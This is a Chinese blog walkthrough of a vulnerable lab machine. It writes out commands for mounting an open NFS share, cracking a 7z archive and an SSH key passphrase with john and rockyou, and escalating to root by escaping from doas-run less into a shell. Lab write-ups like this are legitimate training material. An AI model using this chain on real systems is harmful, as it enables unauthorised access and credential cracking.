李乐意的博客

tags:
@ 01/01/0001

端口扫描

image-20250919164956800

NFS服务渗透

NFS:Network File Share(网络共享文件模式)。

使用showmount工具查看靶机是否有共享文件夹:

showmount -e 192.168.30.137

image-20250919165941636

  • -e表示exports,即靶机向外共享的到处列表,可以看到共享目录是/home/user/storage(这样也表明靶机很可能有一个名为user的用户),同时(everyone)表明任何人都可使用此共享目录。

因此我们可以创建一个目录tmp,尝试能否将这个共享的目录/home/user/storage映射到我们创建的目录:

mkdir tmp
mount -t nfs /home/user/storage tmp/ 

ls -liah tmp
cp tmp/backup.7z ./ 
# 然后负责到工作目录避免在挂载目录处理留下痕迹

解压文件

#看文件类型,是否绑定信息
file backup.7z
bindwalk backup.7z

# 解压
7z x backup.7z

解压需要密码。

image-20250919170605967

密码错误也会暴漏文件内容。

很明显存在ssh私钥和公钥。

image-20250919170639653

暴力破解解压

生成这个压缩包的hash。

7z2john backup.7z > backup7z_hash

使用john暴力破解。

john --format=7z --wordlist=/usr/share/wordlists/rockyou.txt backup7z_hash

image-20250919171717319

密码为chocolate。

解压文件。

image-20250919171805134

image-20250919171822414

hello kitty。使用file、bindwalk、exiftool、srings看了图片类型、绑定信息、隐写并无信息。

直接来到ssh私钥。

SSH私钥破解

拿私钥登录ssh。

ssh -i id_rsa user@192.168.30.137

image-20250919173908972

果然需要passphrase密码通。

生成私钥hash文件。

ssh2john id_rsa > id_rsa_hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash 

image-20250919173748749

登录ssh。

image-20250919174359143

提权

sudo -l没有发现sudo,可以想到应该用了平替。其实根据信息收集,操作系统就是OpenBSD,知识系统比较少见,没有想到doas。

  • doas 是一个轻量级的 sudo 替代品,最初由 OpenBSD 开发。它的设计理念是“简单”。

  • pkexec 是 PolicyKit(现在的 Polkit)框架的一部分。它的核心思想是基于策略而非用户列表来管理权限。

  • runc 通常用于容器化环境,但其核心思想是提供隔离和最小权限。虽然它不是 sudo 的直接替代品,但在某些需要安全执行特定命令的场景下,可以利用容器技术来达到类似目的。

看一下suid权限文件。

find /* -perm -u=s -type f 2>/dev/null

image-20250919174748821

关注doas。

find /* -name *doas* -type f 2>/dev/null

image-20250919175703400

看一下配置文件。

fourandsix2$ cat /etc/doas.conf
permit nopass keepenv user as root cmd /usr/bin/less args /var/log/authlog
permit nopass keepenv root as root

user用户可以无密码使用root权限运行less命令 查看/var/log/authlog日志。

root权限运行less命令中按v可以进入root权限的vi模式,按输入!sh可以拿到root权限shell。

doas /usr/bin/less /var/log/authlog 

image-20250919180228776

image-20250919180241004

image-20250919180303947